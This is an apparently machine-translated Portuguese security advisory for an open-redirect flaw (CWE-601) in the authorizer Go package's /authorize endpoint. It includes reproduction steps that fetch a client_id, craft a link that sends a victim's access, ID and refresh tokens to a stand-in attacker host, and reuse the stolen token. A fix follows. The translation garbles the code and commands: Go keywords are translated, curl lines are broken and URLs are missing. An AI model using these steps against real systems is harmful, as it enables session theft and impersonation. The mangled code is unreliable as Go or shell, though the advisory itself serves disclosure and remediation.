O endpoint `/autorize` aceita qualquer `redirect_uri` sem validar contra `PermitidosOrigins`. Quando `response_type=token` ou `response_type=id_token`, o servidor anexa `access_token`, `id_token` e `refresh_token` como parâmetros de consulta e problema a 302 redirecione para a URL fornecida pelo atacante. Um atacante não autenticado pode obter o `client_id` necessário do objetivo público `/ graphql?query={meta{client_id}}`. A correção parcial foi aplicada em v 2.0.1 para outros manipuladores (`oauth_ login`, `verify_ email`, `magic_link_ login`, `forgot_password`, `invite_ members`, `oauth_ callback`), mas `/ authorize ' não foi incluído. `interna/http_handlers/authorize.go`. ``` go redirectionURI:= strings.TrimSpace(gc.Query("redirect_uri")) //... nenhuma chamada IsValidOrigin()... // response_type=token path (line ~ 263 ): se strings.Contém(redireccionarURI, "?") { redireccionarURI = redireccionarURI + "&" + params } senão { redireccionarURI = redireccionarURI + "?" + params } handleResponse(gc, responseMode, authURL, redireccionarURI,...) // 302 para URL do atacante ``` Compare com o 'oauth_login.go` fixo em v 2.0.1 que chama `validadores.IsValidOrigin(redirectionaire, h.Config.PermitidaOrigins)`.

Passos para Reprodução. ````bash # 1. Obtenha o cliente_id (não é necessária a autenticação) CLIENT_ID=$(curl -s \ -H "Tipo de conteúdo: aplicativo/json" \ -d '{"query":" {meta{client_id}}"}' 3 -c "importar sys,json; print(json.load(sys.stdin)['data']['meta']['client_id']") eco "client_id: $CLIENT_ID". # 2. Crie o URL malicioso e envie para a vítima (vitima deve ser logada) # Quando a vítima abrir este URL, os tokens são entregues para o atacante.com ALICIOUS_URL=" eco "Enviar para a vítima: $MALICIOUS_URL". # 3. O atacante recebe 302 redirecione com todos os tokens: # expiras_in=...&id_token=eyJ...

# 4. Validar o curl token roubado -s \ -H "Autorização: Portador STOLEN_ACCESS_TOKEN" # Devolve: {"e-mail":"victim@exemplo.com","id":"...","roles":["usuário"]} ```` Um atacante que engana um usuário conectado para clicar num link criado pode roubar o `access_token`, `id_token` e `refresh_token` da vítima. O atacante pode então se passar por vítima durante toda a vida. Não é necessária nenhuma interação do usuário além de clicar no link; o navegador da vítima emite o redirecionamento automaticamente. Adicione a mesma verificação `IsValidOrigin` que foi aplicada aos outros manipuladores em v 2.0.1:.

``` go // In authorizedOrigins, após ler redirect_uri: if!validators.IsValidOrigin(redirectURI, h.Config.PermitidoOrigins) { handleResponse(gc, responseMode, authURL, redirectURI, map[string]interface{}{ "erro": "invalid_request", "error_description": "redirect_uri não é permitido", }, http.StatusBadRequest) retorna } ````` Registro de aconselhamento: GHSA- h 29 v- hj 44 - q 8 cv. Identificadores relacionados: CVE- 2026 - 54072. Tempo: GitHub Advisory Database publicou este registro em 2026 - 07 - 10 T 19: 25: 15.000 Z e lista a sua última modificação como 2026 - 07 - 10 T 19: 25: 15.000 Z.

Gravidade: Crítico. Dados de pontuação publicados: CVSS_V 3: CVSS: 3.1 /AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N. Informações sobre software e versão afetadas: Vá o pacote github.com/autorizerdev/autorizer — ECOSISTEM: introduzido 0, corrigido 0.0.0 - 20260409051328 - bd 3 f 5 baf 6 d 3 d. Classificação e evidência: identificadores de fraqueza CWE- 601. O registro contém 2 suporte de referências nestes tipos: WEB, PACKAGE.